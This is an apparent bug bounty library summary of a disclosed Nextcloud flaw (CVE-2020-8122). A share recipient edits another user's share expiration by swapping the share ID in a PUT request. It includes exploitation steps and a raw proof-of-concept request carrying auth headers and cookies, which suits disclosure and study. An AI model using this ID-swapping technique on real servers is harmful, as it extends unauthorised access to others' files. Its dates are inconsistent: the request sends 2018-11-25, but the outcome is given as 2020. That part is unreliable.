# Share recipient can modify a share's expiration date

Share recipient could PUT to the shares API with another user's share ID to extend the expiration date, retaining access to living files.

- Payout: $100
- Severity: medium
- Program: Nextcloud
- Found by: netranger
- Disclosed: 2020-01-31
- CVE: CVE-2020-8122
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/447494
- Library page: https://bugbountylibrary.com/r/h1%3A447494
- Tags: area:web domain:web impact:integrity kind:bounty platform:hackerone sev:medium tech:rest vuln:access-control vuln:business-logic vuln:idor

**Target:** Nextcloud OCS files_sharing API PUT /shares/{id}
**Root cause:** The share update endpoint did not verify the requester owned the share before applying the expireDate change, only that they were authenticated.
**Steps:**
1. User A shares a file with User B, setting expireDate=17-05-2019; note share ID from PUT /ocs/v2.php/apps/files_sharing/api/v1/shares/{id}.
2. Login as User B; create any own share to obtain a valid PUT request template.
3. Intercept the PUT and replace the share ID in the URL with User A's share ID.
4. Send `expireDate=2018-11-25` in the body.
5. Re-login as User A; expiration now shows 17-05-2020, extending B's access.
**How found:** Noticed the update-share function lacked an owner check on the share ID parameter; tested by substituting another user's share ID in a valid PUT request.
**Exploitation:** Authenticated share recipient reuses a legitimate share-update request, swaps the share ID to the victim's share, and submits a new expireDate to extend access to living/edited files.
**Insight:** On object-update endpoints, test whether authorization is checked against the object owner vs. merely authenticated session by swapping IDs from a legitimate request template; living/editable documents make access-extension impactful.

## Proof of concept (copied exactly from the original report)

**PUT request modifying another user's share expiration**

```
PUT /nextcloud/ocs/v2.php/apps/files_sharing/api/v1/shares/74 HTTP/1.1
OCS-APIREQUEST: true
Authorization: Basic anJlYWNoZXI6d0xzVU5vVnpDZDFsNGpkdmIxZnFtOWlGUHpWbDRmWkNHTDdTMUtxRml3R3M1ZlFhc1FVUXNOV2tvY3gwcUVmbllnNmdBMVJR
User-Agent: Mozilla/5.0 (Android) ownCloud-android/3.3.2
Host: 192.168.1.22
Cookie: nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc_sessionPassphrase=O5dbusaO3KwFs6e2P4ew7oE99UlUYbbpGa8ZwH01u6gHsvVjPiXfj362cyMkq4XNIIbYCqHESynLeG9VCWUDHHM%2B%2FHeitr910brNsOOTc5NnBy7g0JoY1uj1aY9KRQf7; oc0xkd23iidt=fc7vbute5s5efftqf2k9af9op0
Content-Length: 21
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close

expireDate=2018-11-25
```

